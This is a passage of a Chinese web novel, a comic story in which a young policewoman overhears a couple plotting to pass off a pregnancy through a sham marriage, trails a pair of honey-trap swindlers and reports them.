白晚秋叫嚣:“江维中,你还是不是个男人,你是没看上我吗?你是不舍得花钱娶媳妇儿吧?我告诉你,你要是错过我,以后就找不到好对象了。过了这个村,可就没这个店了。以后你跪着求我,我都不同意。”
她阴郁的瞪着江维中。
江维中诚恳:“我真没看上你。”
“啊!啊啊啊!”
她抬手就想掀桌子,一掀……呃,没掀动!
陈虎梅本来是来帮厨儿的,但是这会儿又按住了桌子,她不客气的说:“你当这是你家呢?还想在这儿撒野,咋的?看江家人好欺负?”
杜国强哼笑一声,敲边鼓说:“我看啊,她不仅是看江家人好欺负,还是我们大院儿的人好欺负。真当一切都由着她呢。天老大地老二她老三呢。媳妇儿啊,你就让她掀让她闹,知道这叫啥不?叫寻衅滋事。她今天敢掀,我们今天就敢报公安。”
“什么报公安,你叫一嗓子,咱们大院儿全是公安。哎不是,对啊,咱们大院儿全是公安,她还敢来闹事儿,这人还挺嚣张的啊?”
“可不是,我去叫我加老头子,哎呦,我家老头子就是公安啊。”
“当谁家不是似的。”
这会儿白晚秋倒是有几分回过神儿了,慌张的拽住了花媒婆儿。
她最近是情绪不太好,但是,但是这又不怪她啊,这些人怎么这么自私,就不能容着她一个……呃,就不能包容她点吗?自私,真是自私!
她抓住了花媒婆儿的胳膊,十分用力。
花媒婆儿刺痛的闷哼了一声,她说:“你撒开,你这是干啥。”
不过她也知道自己一个媒婆儿要是相亲局儿搞到派出所,那以后这活儿可没法儿干了。她深吸一口气,赶紧说:“不至于不至于,大家别生气,这姑娘家庭条件好,被宠的有点不懂事,心气儿高,但是她没坏心思的。大家别跟她计较。也给我花媒婆儿一个面子。”
“哼,当谁没看过受宠的姑娘似的,这要说家里宠着,受宠谁能比小杜鹃还受宠?可没见小杜鹃像她这么张牙舞爪的,拍桌子瞪眼的。”
白晚秋咬着唇,记住了这个名字,心里很不虞。
哪里来的死丫头,也配跟她比?
江维中这会儿倒是站起来了,他认真说:“今天的事情,不管如何,都算了吧。相亲也没有闹得太难看的。白同志,我觉得我们两个十分不合适,我就不送你了。祝你以后遇到一个理想的对象,得偿所愿。”
白晚秋不可置信,她不敢相信,江维中竟然没看上自己。
他凭什么!
他知道有多少人追求她吗?
她想给他个机会,他竟然还不知道抓住!
她重重的冷哼一声,说:“行,你行,我就看着,
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你能找个什么东西!啊呸!”
说完,推开人群就走:“让开!烦死了,什么玩意儿!”
“你这女同志怎么回事儿!”
“就是,你……”
白晚秋:“滚!”
她毫不客气,用力推搡众人:“看看看,就知道看热闹,这还公安家属院儿呢,一个个看着就不是有素质的,都是些上不得台面的泼妇!”
“啊,小心点!”
杜鹃眼看林婶子被推的倒下来,赶紧伸手用力扶住,猛的接住人。
“你干什么!你冲谁发火呢,你这女同志,素质太差了。”
“就是,花媒婆儿,她家住哪儿,我得去他家问问,这家是怎么教孩子的。”
花媒婆儿叹息,没想到这白晚秋又给自己惹事儿,她愁的不行,说着好话:“对不起,对不住啊。这事儿我给大家道歉,她是相亲没成心里难受,不是故意的,对不起啊……”
屁啊,这关她一个媒婆儿什么事儿啊。
她难啊!
这个白晚秋,以后她再接他家的活儿,她就倒立吃屎!
坑苦了她啊!
哪有这样的。
白晚秋这会儿终于下了楼,她才不管花媒婆儿说什么呢,媒婆儿也不是白干的,都是挣钱的。这没协调好,是她的错!
楼里的香气传来,她没忍住咬咬唇,更加埋怨花媒婆儿,既然是介绍对象,就该好好周旋,最起码也得吃了这顿相亲饭啊。她又吸了吸鼻子,一股子肉香。
他家做肉了。
亏了!
虽然条件不错,但是他家也缺肉的啊!
这也不是她嘴馋,而是,而是……她的手抚在了肚子上。
真是越想越气,她忿忿的跺脚,抬头往楼上看过去,杜鹃趴在窗口往下看呢。
白晚秋一愣,随即骂道:“看什么看!关你屁事儿!”
杜鹃可不是任人欺负的小可怜儿,她重重的哼了一声,说:“我在我家,我干什么是我的事儿,你管的着吗?”
“你个臭丫头……”
“你骂谁呢?我给你脸了是吧?在我们大院儿耍威风不够,还想欺负我闺女?”陈虎梅拎着菜刀在楼上探头,叫骂:“我看我们大院儿的人真是好性儿了,容着你这么个嚣张跋扈的玩意儿在这儿作妖儿。你等着!我下去找你。老娘非让你知道知道,花儿为什么这样红!”
陈虎梅立时就掉头儿准备下楼,白晚秋虽然是个不着调的,但是也不是完全没脑子,就陈虎梅那大身板子,一个能干死十个她。
不行,不行不行,她可不行!
她捂住了肚子,撒腿就往外跑。
杜鹃:“咦?咦咦?”
她眼神闪了闪,歪着头嘀咕:“不太对啊。”
“什么不太对?”
“她怎么总是护着肚子?”说完她立刻反应过来,猛地回头。
是她爸。
她拍拍胸口,说:“你别吓唬我啊。”
杜国强看着楼下,意味深长的说:“保不齐,真想找个接盘侠?”
杜鹃:“???”
杜鹃:“!!!”
啊这!
15.听墙根
轰隆隆~
乌云密布的天儿阴沉沉的,雷声不断。
七八月的天儿就是小孩儿的脸,说变就变,上午还艳阳高照,下午就淅淅沥沥的下着小雨,雷声响个不停。这会儿才是傍晚五点来钟,但是比往日七八点还暗沉。
往常这个点儿正是各家各户做晚饭的时间,但是今个儿可不是,别看天气不咋样,但是一点也没耽误大家串门儿。好些个女同志都还在江家呢。
别说陈虎梅这样不到四十的中年妇女,就连花媒婆儿这干了多少年的也没见过这么狮子大开口的啊!
666,天爷啊,不敢想!
66都是条件很不错的人家才会开的价钱了。
大家一度怀疑她是真的想要这么多,还是故意的就是不想相亲成功才搞这一出儿,不懂,就不懂。
杜鹃倒是比别人知道的多,但是这会儿她没功夫八卦,她正换鞋准备出门呢,杜国强叮嘱:“下雨呢,路滑别骑车了,反正也不远,你早去早回啊。”
杜鹃清脆:“知道啦!”
这会儿雨势有点渐渐大了,杜鹃倒是不担心的,雨衣雨靴,武装的严严实实。
杜鹃一路出门,抄着小手儿紧赶慢赶,奔着副食品商店,擦着点进门:“张丽,张丽~”
一个麻花辫的姑娘探头,说:“你咋才来,就等你了,不然我都要锁门走人了。”
杜鹃眼睛明亮,娇嗔:“下雨路滑,我爸不让我骑车,我一收到小叶子的消息,紧赶慢赶就来了,已经小跑儿了。这次一人能买多少啊?”
“什么一人,是按户算!一户限额二斤,我的那份儿给你,给你装四斤。”张丽接过杜鹃的罐子,说:“这次进的可不多,你瞅着吧,这很快就能传开了,明早儿铁定要排长队了。就这一大桶,估计半上午就卖没了。”
张丽碎碎念,接过杜鹃的钱和副食品证,登记盖印之后递过去:“给。”
又把自己“换”的那份儿多出来的钱抽出来揣好。
张丽是杜鹃的初中同学,家里出了变故,没读高中,早早接班了。如今就是在副食品商店做售货员,这个柜台卖的都是咸菜酱菜。别看这算不得什么好东西,但是卖的还不错,毕竟这边距离火车站近,有些中转的不舍得去国营饭店。买点酱菜咸菜的就着干粮就能对付。不过她这柜台也有好东西,那就是虾酱。
但是这个可不常有,而且不像是咸菜酱菜,有钱就能买。
这个都定额定量的,就这,来晚了就没有了,都得抢呢。
他们江桦市又不临海,虾酱都是从外地过来的,明明价格不低,但是却仍是抢的厉害。
杜鹃可是托了张丽这个关系了,所以每次都能第一时间知道,然后抢购成功。张丽家情况有点复杂,经常“换”给杜鹃,这次也不例外。
“张丽,你真好。”
“反正我家也不舍得买,换给谁不是换,哎对了,求你个事儿呗?”张丽也不客气。
她们虽然不住在一个大院儿,但是也算是老同学发小儿了。
“什么?”
“你下次回乡下的时候问问有没有换鸡蛋的,我想换点鸡蛋给我妈补一补,我妈最近又病了。”
杜鹃眼神闪了下,随即爽快的说:“好,我知道了,我下周就回村里的,正好给你问问,村里不少人家都不舍得吃,你要是换的不多,估计能有的。”
“那行,那就谢谢你了。”
杜鹃爽朗的笑,说:“你还跟我客气啊,你要是这么客气,以后我还咋麻烦你?我可没少麻烦你。”
张丽:“也对哈,嘿嘿。”
她检查好门窗,这才锁好了门,两个人一起出门,张丽好奇的问:“你去派出所上班,感觉咋样儿?抓坏人了吗?”
杜鹃摇头:“没有,这周都是小事儿。”
“小事儿也得注意安全。”
“我知道的。”
张丽他们家和杜鹃他们家不在一个方向,这雨越下越大,两个姑娘也没聊几句。张丽:“我还得回家做饭,先走了哈。”
“好。”
张丽没有自行车,匆匆跑开。
杜鹃也没骑车,这边距离他们大院儿不远的,她提着罐子,一路往回走。
嘿,你还别说,雨真的是越下越大哎。
杜鹃加快脚步,眼瞅着快到大院儿了,杜
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鹃猛地停下脚步,火速闪到墙拐角儿,贼兮兮的探头探脑。
呦呦呦!
这不是上午的那个拍屁股姐吗?
叫什么来着?
白晚秋!
对,白晚秋。
她怎么又回来了?
杜鹃缩在墙角,警惕的看着白晚秋,云婶子对她可好了,她可不能看着维中哥跳入火坑,所以杜鹃十分十分警惕。她猫在墙角盯梢儿,想要看看这姐妹儿是要干啥!
别是想在这儿守株待兔蹲守维中哥吧?
白晚秋一身白色连衣裙,撑着一把伞,雨势渐大,风也大了,吹的雨伞摇摇晃晃,雨点子已经落在她的身上了,不过白晚秋咬着唇,仍是不断的张望。
就在她越等越不耐烦的时候,终于看到了要等的人!
“相伟!”
胡相伟一个踉跄,自行车险些没把住,他飞快的左右看看,没见到什么人,火速的下车,拉着白晚秋就闪到了一个墙角,低声说:“你是疯了吗?在这里等我,被人看见怎么办!”
白晚秋委屈,咬着唇,不高兴的说:“男未婚女未嫁,你怕什么!好啊!我就知道,你就是喜欢李秀莲那个贱人。你一点都不关心我,也不关心孩子,你……唔唔唔!”
胡相伟捂住了她的嘴,吓得不行,说:“你疯了!竟然在外面说这个!”他紧张的很。
白晚秋:“呜呜唔哦啊昂……”
胡相伟斥道:“让人知道,我们就都完了!”
他语气带着几分气急败坏,白晚秋挣扎了几下,拉下了他的手,怒道:“你干什么!闷死我了,你就这么害怕?你害怕别跟我在一起啊!”
她不高兴了,胡相伟抿抿嘴,深深看了她一眼,随即又缓和过来,带着笑哄着说:“我不过就是图她家条件好,你也不是不知道。我最爱的,还是你。咱们孩子都有了,你不相信我的真心?我们不是说好了吗?我娶李爽,你嫁给江维中,我们以后还一样可以在一起。到时候两家的好东西还不都是咱儿子的?”
嚯!
杜鹃捂住了自己的嘴,眼睛睁的大大的,不可置信!
妈耶,听到大秘密了!
第 16 章 跟踪、奖励、分析
第16章跟踪、奖励、分析
我就知道!
我就知道不对劲儿!
杜鹃眼珠子转的飞快!
她顾不得其他,紧紧的贴着墙壁,像只乌龟一样探头儿,这一看……哦豁!
眼睛瞪的跟灯泡儿一样大!
这俩人儿竟然抱上了,他们竟然抱上了哎,这叫什么事儿啊!这算是狗男女了吧?杜鹃紧紧的盯着这两个家伙,觉得他们也太过大胆了。
虽说现在是傍晚了吧,虽说现在下雨吧,但是这还没天黑呢。
两个狗男女没脸红,杜鹃的小脸儿倒是红扑扑的,跟秋天的红富士苹果一样,她搓了搓脸,继续偷看!她可得看看,这两个坏东西还有什么阴险的算计。
杜鹃抻着脑袋,屏住呼吸。
果然,那俩人倒是真的胆子大的不得了,俩人抱在一起,根本不撒开,胡相伟轻轻的拍着白晚秋的后背,说:“我晓得你对我情深义重,其实我又何尝不是呢。可是谁让我是先跟她认识的,我如果现在反悔,她就没法儿做人了。而且她把我爸妈照顾的很好,我妈对这个儿媳妇儿特别满意,你说我还能怎么办!你当我没说吗?我曾经试探跟我妈说过我不想好下去了,我妈要死要活。事到如今,只能如此了。好在她家条件好,我们也不是一无所获的。”
白晚秋咬牙,怨怼的说:“你就这么听你妈的话?你妈怎么能这样!你没说,我已经怀上你们家大孙子了?”
“我哪能没说?我妈说女人会生娃儿有什么稀奇的,以后结婚自有人给我生。晚秋,我妈生我养我,多不容易,我实在是没有办法了。才出此下策,但是你该知道啊,我对你的心意,那是天地可鉴。”胡相伟哄着白晚秋,真真假假的,可看不出是不是撒谎。
杜鹃怀疑是怀疑的,可人家当事人不怀疑。
白晚秋是怨怼上了胡相伟的老娘。
白晚秋忿忿的说:“你妈怎么能这样!”
胡相伟:“事到如今,你就听我的,你给我说说今天相亲的事儿吧?我晓得你看不上他,觉得晦气,但是我真的是为了你好。你嫁进大院儿,方便我们偷偷来往,也方便我以后看自己的儿子。而且他家条件好,到时候你一进门就一举得男,他们家保
证给你供起来。你别看江维中是个呆头鹅,但是他可是个香饽饽,咱市最好的正规大学毕业专业的法医,其他有经验的可没他学历高;跟他学历一样的没他经验多有水平。又踏实肯干。领导都可喜欢他了,你跟他结婚,借着他的利,不是不能换个更好的岗位。再说了,你要是换个老爷们,可能很容易发现我们的端倪,但是他工作忙的要命,最方便我们的。你找他,最合适不过。”
白晚秋犹豫:“可是我看不上他。”
她咬着唇说:“而且……”
她犹犹豫豫的,到底还是说了:“他没看上我。”
“什么玩意儿?”
胡相伟懵了。
白晚秋有些不好意思,恼羞成怒说:“你这是什么态度,他没看上我,你对我态度也不好了?”
胡相伟不可思议:“不是,不是哈,你等我捋捋,你说他没看上你?这怎么可能?你不管各方面条件都很不错了。他都找不到对象了,还想怎么样。他是有病啊?”
白晚秋:“我怎么知道!也许他就是有病!就你说这个人找对象着急,我才乐意跟他相亲的,我都是为了你。结果还被羞辱了,他一个整天摆弄死人的,凭什么看不上我啊……”
她越说越气,委屈的很:“都怨你。”
胡相伟心里烦闷,不过还是哄着说:“你别说这个,你给我说说当时的情况,按理说,他不该看不上你的啊……”
他狐疑的上下打量白晚秋,觉得白晚秋莫不是不想跟江维中,故意找事儿了?
他说:“你说说具体情况。”
白晚秋:“说什么,反正就是没看上。”
胡相伟深深的吸气呼气,恨不能当场捶这个娘们一顿。但是到底忍住了,他说:“你别赌气,你说说,我跟你讲,你的肚子可等不了多久,江维中是最好算计的,也是最合适的人选。男人嘛!他看不上你难道你不会主动?他这种一心搞技术的男同志,根本没接触过女人,哪见过什么女人,最好哄不过了。你发挥你一成的威力,就能给他哄的昏头。”
白晚秋听了这话,有几分得意,不过很快又说:“谁说的?我看你们家属院儿有个好看的的啊,个子挺高,短头发,大眼睛,哼,跟个长脚蟹似的!她倒是有几分好看的。谁知道江维中看不上我,
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是不是看上她了。
她说这话的时候,偷偷打量胡相伟,就怕胡相伟也有这个想法。
她对所有长得不错的女孩子,都是抱有戒心的。
胡相伟:“长腿?你说杜鹃啊?
他嗤了一声:“那不可能,杜鹃就是个小孩儿,她,她多大来着?十七八?她跟江维中差十来岁的,不可能的。再说两家都没那个意思的。
大概是胡相伟的态度,白晚秋放下心来,哼了一声。
杜鹃没想到,这八卦里,她还有姓名?
被这两个家伙提到姓名,都觉得晦气好的嘛?她翻白眼——嘎吱。
不小心,踩到一个树枝。
“谁!
胡相伟一下子反应过来,猛地看过来。
别看他们天还没黑就抱一起,但是这会儿倒是警惕起来了。
胡相伟立刻松开白晚秋,只犹豫了一下就飞快的窜过来。雨天路滑,他急匆匆的往前一窜,呲溜儿……整个人往前滑过去,砰!
撞墙上了!
白晚秋吓了一跳,叫:“相伟!
她急的不行:“你要不要紧?我看看!我看看伤着没……
“赶紧追人!
胡相伟气急败坏,这事儿能是外露的吗?这会儿他只恨自己不谨慎。
他这一摔,杜鹃倒是顺势跑远了。等白晚秋找过去已经一根头发丝儿都就看不见了。
杜鹃一不小心弄出动静儿,转头儿撒腿就跑,仗着这边家属院儿多人家多,左闪右闪,几下子就没影了。胡相伟这一摔,还没看到人,人就拐了几个弯儿,没了。
就算看见,杜鹃也不怕的,她穿着雨衣,这谁能认得出来!
她也不知道自己跑啥,但是第一反应就是不能被胡相伟发现。
杜鹃对这一片儿太熟悉了,三两下人就跑掉了。胡相伟压根没看到是谁,但是正是因为没看到是谁,他的脸色越发的难看了几分。他阴沉着脸说:“刚才有人偷看。
白晚秋瞬间脸色苍白:“怎么办?
她咬着唇,急切:“这可怎么办?我怀孕了啊,那个人是不是听见了?如果有人举报……
现在的政策且乱着呢。
白晚秋一想到这些,苍白的摇摇欲坠,
格外的担心:“怎么办?怎么办啊?都是你你非要让我跟江维中相亲这下好了这要是让人知道我就完了啊。你想想办法你快想想办法你……”
“好了!”
胡相伟烦躁的看着白晚秋说:“你闭嘴。”
他呵斥一声说:“这件事我会想办法的你先回家找个人结婚的事儿必须尽快提上日程。”
“可是……”
“没有可是赶紧走!”
“我……”
“你不走是生怕不会再被发现是吧?”
白晚秋:“那你的伤……”
她看着胡相伟的额头关心的说:“我送你去医院吧。”
“我让你走让你走听不明白是吧?赶紧的你先走我在附近看看也许能找到那个人。”他深吸一口气勉强撑着好气说:“你先走我在周围看看许是能找到人或者找到点什么线索。这事儿不处理好咱们是要吃亏的。我一个大男人无所谓总归不能让你受委屈。你先回家一切有我。”
白晚秋听到这里感动的点头又腻歪了两句这才犹犹豫豫的离开胡相伟阴沉着脸像是能滴出墨汁他低声骂道:“蠢货。”
胡相伟气急败坏但是倒是没有忽悠白晚秋确实在附近找起人来这个事儿如果被人知道了就完了。他一时倒是不知道怎么办了。也不知道那个人听到了多少?
胡相伟脸色阴沉。
“白晚秋这个蠢女人偏是要在这个时候来找我真是个扫把星。”
“江维中这个光棍儿有个媳妇儿还不赶紧接着还敢不同意真是个该死的晦气玩意儿。”
“别让我找到是哪个混蛋偷听墙角不然我非扒了他的皮该死的!”
胡相伟怨怼着所有不顺的事儿埋怨着所有人但是又怕真的有人告发他们两个心里难免生出几分焦急。如果如果真是被人举发了他是绝对不能认的。
好在他是男人肚子里没货到时候真有事儿死咬与自己无关。
这雷雨天雨越下越大胡相伟转了两圈没有什么收获
他就算是找恐怕也是无用功了
。
想到这里,胡相伟格外的怨怼,他咣当一脚,踢在墙上,骂道:“混蛋!都是混蛋!
胡相伟骂骂咧咧的离开,这个杜鹃倒是不知道的,她生怕胡相伟真的来追她,绕着颠颠儿跑了挺远呢。
呼!
别看跑,她还紧紧的抱着自己的虾酱罐子,盖子拧的紧紧的。
“真是不要脸的狗男女,竟然要算计维中哥,做梦去吧。
既然要算计维中哥,就是她的仇人!
她绝不能让这俩人得逞!
绝不!
这要说起来,虽然杜鹃他们家家口大,人多的,堂兄妹隔房堂兄妹都不少,但是杜鹃在城里长大,跟他们其实都不熟悉的。她小叔一家子倒是在城里,但是两家没啥来往的。
她从小接触最多的,反倒是她爸妈单位同事家的小孩儿。
江维中虽然比杜鹃大了十岁,但是也经常带着她的,她家的家长都上班嘛,所以杜鹃时常去邻居家混时间混饭,云婶子家是首选的。他们家没搬到家属院儿的时候就是老邻居了,杜鹃读小学的时候,功课都是江维中教的。
虽然没啥血缘关系,但是这跟亲哥真差不多的。
正因为这个,他们算计江维中,杜鹃才特别生气。
她嘟嘟囔囔:“缺德冒烟儿,丧尽天良,卑鄙无耻,下作丧良心,都不是好东西……
那个胡相伟,总是盯着维中哥一个人坑,也是没道德的大垃圾。
杜鹃唔哝唔哝骂人。
她骂了几句,这才撇着嘴准备回家,一不留神,竟然跑这么远了。杜鹃估摸着再不回去家里要担心的出来找人了,这才回过神,赶紧往家走。
她再不回家,等会儿家里人就要出来找人了。
杜鹃小跑儿,抄着近路,她出生在江桦市,打小儿就在江桦市长大,路可是熟得很,杜鹃顺着小路拐过去,正要往自家这边绕,就见一男一女,两个人鬼鬼祟祟的东张西望,杜鹃:我闪!
俩人没看见杜鹃,也是了,这大雨天的傍晚,雨越下越大,路上可没什么人了。
杜鹃贴着墙壁站稳,耳朵又竖起来了。
这可不是她好热闹,作为一名人民公安,遇到可疑的事情,总是要多留心的。
别看杜鹃才干了
一个礼拜的公安,但是原来作为公安家属,她一直是有这个警惕性的。
她悄悄的偷看盯梢儿,也没冒冒失失的冲出去。
她对自己门清儿,她不是她妈那种力气大一拳打死老虎的类型,但是她的优势就是灵敏又能跑。所以她可没想上去硬刚,保不齐真打不过人家。
这样要真是坏人反倒是放跑了人。
但是她有优势啊,身手灵敏窜得快,一般男人都跑不过她。
再一个,她熟悉地形儿。
优势在我!
虽说也没确定这俩人不是好人,但是他们这样鬼祟,杜鹃还是警惕起来了,她探头瞅了一眼,见这两个人嘀嘀咕咕了一句,女方暧昧的笑了下,锤了男方一下,这才一起走开。
杜鹃默默的跟上。
她不远不近的吊着,倒是听到了两个人的谈话,女人撑着伞,风刮得呼呼响,雨伞更是打不住,男人紧紧的靠着她,帮她撑伞,嘴巴也没停:“我送你到院门口,就得走了,不能让人瞅见,你一个人也留心点,别太着急下手。
女人点头:“我晓得的。
她娇媚一笑,说:“你放心吧,我对男人是手拿把掐,你什么时候看我掉链子过。
别看她并不年轻,瞅着也有四十来岁,但是倒是一副楚楚可怜的老白花儿样子,她也很自信。
“我不着急,你也别急,等我再探探,他一个老光棍儿一个人干了几十年,哪能没点家底儿?他对我是很有意思的。他们大院儿还有个叫侯大荣的,他对我也特有意思,总是跟我献殷勤,但是瞅着就没什么钱,槐哥,你说我们要不要也搂草打兔子。当捎儿一起收拾了?
这男人叫槐哥,他桀桀一笑,暧昧的说:“你受得住?
“瞅你说的,别说这就这么两个老头儿,再来十个八个的,咱搞仙人跳的,还怕这个了?
杜鹃吊在两个人后头,听到这话,瞬间来了精神。
划重点:仙人跳。
杜鹃抿抿嘴,越发的脚步轻,关键时刻,可不能掉链子。
“你不是说他们大院儿还有一个八级工吗?这能弄到手吗?我不是跟你说让你也跟他交流交流吗?槐哥可是个贪得无厌的。
女人:“你还说呢,我总觉得那老头儿怀疑
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>我。那老头儿心机深沉,他背地里盯着我的眼神儿倒是不正经,但是面上装的跟个正经人似的,而且他好像怀疑我的身份了。还仔细打听呢。我最近去他们大院儿都少了,就怕被发现,你帮我留心点。多盯着点这个人,如果他有什么异常举动就教训教训他。让他知道,做人不能多管闲事儿。想要螳螂捕蝉黄雀在后,也不看看自己有没有这个能耐吃下来。”
槐哥严肃起来:“什么!”
他认真的说:“行,这事儿交给我,我盯着他。妈的,他要是敢给我找茬儿,我饶不了他。”
女人娇滴滴:“一切就都靠你了。”
槐哥:“一日夫妻百日恩,咱们夫妻,还要计较这个?好了,到了,前边就是了,我不能过去。你进去吧,我去他们大院儿哪儿转转。”
“好!”
两个人分开了,杜鹃有点犹豫跟着谁,但是很快的,她决定还是跟着这个女同志,他们既然是一伙儿的,盯住一个人,就不愁抓不到另外一个。
而摸清这个女人的情况比继续跟踪那个槐哥更容易完成。
同样的结果,杜鹃求稳。
这不是逞强的时候,她站在墙角,静静的看着这个女人进了一条巷子,这会儿天都黑下来了,杜鹃默默的跟上,见她走进一个大院儿。
这一片儿都是大杂院儿,虽然是下雨,但是院子里也有人忙活着,听到她回来,叫:“枣花回来了啊?”
“你找到你那亲戚了吗?”
“这大雨天的,赶紧回家吧。”
刚才还带着几分娇媚的女人这会儿倒是多了几分淳朴,哎了一声,低眉耷拉眼的。
一看就是住在这里。
杜鹃没进院子,这种大院儿生人可太明显了。
建国因为方便管理,也为了及时发现特务,基本上各个大院儿都有管院儿,各片儿都有片长;他们住楼房的也有楼长。出现个陌生人,那太显眼。杜鹃也没贸然进去打听,她仔细的看了一下门牌号,又找周围看了看,这才抱着虾酱,默默离开。
这一路奔波的虾酱哎。
杜鹃出来很长时间了,往回走自然更快,她一路小跑儿,还没到大院儿呢,就看到一道熟悉的身影:“爸爸!”
杜国强正到处找闺女呢,乍一看杜鹃
,赶紧迎上来:“你这丫头,你去哪儿了?家里人都担心死你了。走走走,赶紧回家,这雨是越下越大,你也太让人操心了。
杜鹃耷拉着脑袋,有点不好意思,不过还是凑到她爸身边,小声说:“我有大发现。
杜国强点头,他想到了,虽然他家杜鹃年轻气盛,又是刚步入社会,但是可不是那种没分寸的笨孩子。她这么长时间没回来,一猜就是遇到事儿了。
杜国强:“走,你先回家,我去叫一下你妈,我们分开找你了。
杜鹃感动的很,撒娇说:“我们一起去找妈妈。
“好。
杜国强他们也并没有乱找,约好了找不到集合的,他冲着陈虎梅的方向找人,没多会儿,就跟陈虎梅还有大舅哥陈虎会和了。陈虎梅狠狠的白了闺女一眼,说:“你这丫头,天都黑了还不回来,你是要作死是吧?你是要吓死我们。这要是再找不到你,我们就要叫上大院儿的人一起找人了。
杜鹃:“我不是故意哒~
她软乎乎的:“事发突然嘛,我遇到坏人了,喏,我是公安啊,总是要悄悄跟上探听个一二的呀。
杜鹃觉得自己是正义使者呢。
陈虎梅差点一口气上不来,惊讶的说:“你干啥去了?你去跟踪坏人了?你个死丫头,你胆子怎么这么大啊,你真是要吓死我们啊,你……
“好了好了,你看你,骂孩子干什么,她做的又不是坏事儿。再说我们小杜鹃是很会自保的,走了走了,有啥回家再说。
杜国强哄着媳妇儿,又说:“咱闺女遗传了我们优秀的基因,聪明伶俐,机敏警觉,可不是个糊涂孩子。她做事情有章法的,你得相信孩子啊。咱孩子优秀,那是咱们教得好,也是遗传的好,咱不能扼杀孩子的能力啊。对吧对吧?
陈虎梅又斜了他一眼,嘀咕:“你总是有理。
杜国强:“这咋是我有理,我说的是实话。
一家人终于到家,杜鹃:“呼!我的虾酱,终于平安了。
陈虎虽然长得凶残,但是在家是个老好人,他乐呵的说:“杜鹃快去洗洗,舅舅今晚用虾酱炒鸡蛋,好不好?
杜鹃:“好棒!
陈虎很快的进厨房忙活起来。
做
饭可是他做大的兴趣爱好。
杜鹃倒是顾不得其他,赶紧说:“爸,我遇见坏人了,一男一女,搞仙人跳骗钱的。”
又想到还有一件重要的事儿,说:“维中哥那个相亲对象,那个叫、叫……叫白晚秋,对,是叫白晚秋,她是胡相伟的相好的,我看的一清二楚。她有孩子了,胡相伟让她嫁给维中哥。”
杜国强:“!!!”
陈虎梅:“!!!”
就连陈虎都拎着锅铲冲出来了,一脸惊讶。
杜鹃巴拉巴拉,从出门开始讲起,虽然不曾参与,但是跌宕起伏啊。
杜鹃:“我好紧张啊!可怕被发现了,我就一个人呢。”
杜鹃拿起水杯,咕咚咕咚的灌了一杯水,感觉自己平心静气很多,又说:“我等会儿就去所里。”
他们派出所是有值班的,仙人跳的事儿,得赶紧报上去。
杜国强没拒绝,说:“我陪你一起去。”
这种事儿,虽说看起来拖一天也没啥,但是肯定还是越早汇报越好的。
顿了一下,他说:“别去派出所了,我们直接去卫副所他们家,更近,到时候在一起去派出所。”
杜鹃点头。
陈虎梅:“那我跟阿兰大姐说一声。”
她说:“维中这个事儿,也得告诉她,不然就维中这性格,被算计了怎么办。”
江维中这人,啥都好,就是有点书呆子,就像是相亲那会儿,他可不是故意不说话给人难看,纯粹是真的不知道说什么。他个人能力是有的,但是也是真的十分不善言辞。
而且这人真的书呆子,如果真是要存了心算计他,未必不能成的。
陈虎梅看着江维中长大的,可不能由着他被坑。
杜国强:“你说话注意方式方法。”
他提点了一句,不过还是有些不可思议,虽然先头儿白晚秋捂着肚子让他们都有所怀疑,但是天地良心,他们真就是随口一说,如果说多么坚定认为白晚秋是想个人喜当爹。
那是没有的。
但是,但是!
没想到啊!
这特么竟然是真的!
杜国强又叮嘱了媳妇儿几句,陈虎梅点头:“我知道。”
她虽然虎了吧唧的,但
第 17 章 干劲儿十足小女警
第17章干劲儿十足小女警
雨天小心路滑!
这话真不是扒瞎!
杜家父女跟个弹簧一样,一下子跳开。
砰!
胡相伟滚下十来节楼梯,咣当一下摔在单元门口,撞在了墙上,发出重重的响声,他惨叫出声:“啊啊啊!!!”
楼上楼下传来疑惑的声音:“什么动静儿?”
“这是出事儿了!”
“这是胡相伟的声音,出去看看!”
“这是打雷?”
……
到底是公安家属院儿啊,反应那叫一个快,嗖嗖的,人就出来好几个。
“老杜?这是怎么了?”
杜国强生怕被赖上,赶紧说:“他下楼的时候滑到了,呲溜儿一下子就下去了。真是吓死人,年轻人咋这么不稳重啊,你看给我闺女吓的。哎妈呀,真是太毛躁了,小胡你没事儿吧?”
胡相伟觉得眼冒金星,迷迷糊糊的,头疼胳膊疼腿疼,他好半天才反应过来,随即破口大骂:“这楼梯怎么回事儿,怎么这么多水,妈的,这不是要人命吗!咱这楼这么多不上班的,闲着没事儿就不能收拾收拾?一个个懒得要死,害的我滑下去。真是该死!”
今天十分不顺,心气儿不顺的胡相伟怒道:“你们怎么不拽着我点,就这么看着我下去,就这还叫邻居?真是自私!”
杜国强也没生气也没发火儿,倒是带着几分委屈的说:“你呲溜儿一下就下去了,我们都没反应过来啊,你就要赖我们,我可太委屈了。真的,太委屈!”
杜国强是没发火,但是有人不客气啊,楼上的李大妈不高兴的怒道:“小胡,你这话说的就可笑,怎么的我们在家就得收拾卫生?凭什么?下雨天人进进出出的,地上有水不是很正常的?你一个大老爷们,走路不知道小心点,怪这个怪那个,你也太可笑了吧?咋的?你上不去天怪裤衩兜风?你拉不出屎怪地球没有引力?你可真是笑死人!”
二楼的田婶子说:“就是啊,你自己摔的咋还能怪别人,可没你这么不讲道理的。平日里看你挺通情达理的啊,现在怎么这样了。”
杜国强和杜鹃互相对视一眼,父女俩很是意味深长,还能因为什么,不就是
这个人是装的吗?
呵呵!
呵呵呵!
“大伟啊我的儿啊你这是咋了?你们这是干啥啊?赶紧让开!”胡相伟他妈常菊花扒拉开人群赶紧冲下去哭嚎:“我的儿啊老天无眼啊你咋了啊?别吓唬妈啊?杜国强杜国强你个瘪犊子是不是你推了我儿子你说!”
她怒目圆瞪紧紧的盯住了杜国强上来就泼脏水。
杜国强可不接这个黑锅高声:“常大妈这话可不能乱说你儿子是自己摔倒的大家可都听见了。怎么的?上来就想讹人?你这是看我家条件好伸手就要讹啊。你要是这么说我可就要找组织求助了。没道理我这刚不上班就有人骑到我头上想要拉屎这可不是旧社会想要平白无故的冤枉人你做大头梦吧!咋的还没睡觉就想做梦?”
也不等常大妈开口杜国强继续说:“你要是这么说话以后我们遇到你可得距离你八丈远了不然真是稍不留神就被冤枉了。这个真是惹不起哪有这么干的。”
杜国强叭叭叭常菊花气的不行她张口:“你个……”
“你干什么!”
胡大叔从屋里出来说:“你这是干什么丢人现眼的东西
说的域名caixs?(请来才小
说
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完整章节)你脑子糊涂了?竟然冤枉人我们老胡家的门风都被你败坏了。赶紧的送大伟去医院看看。”
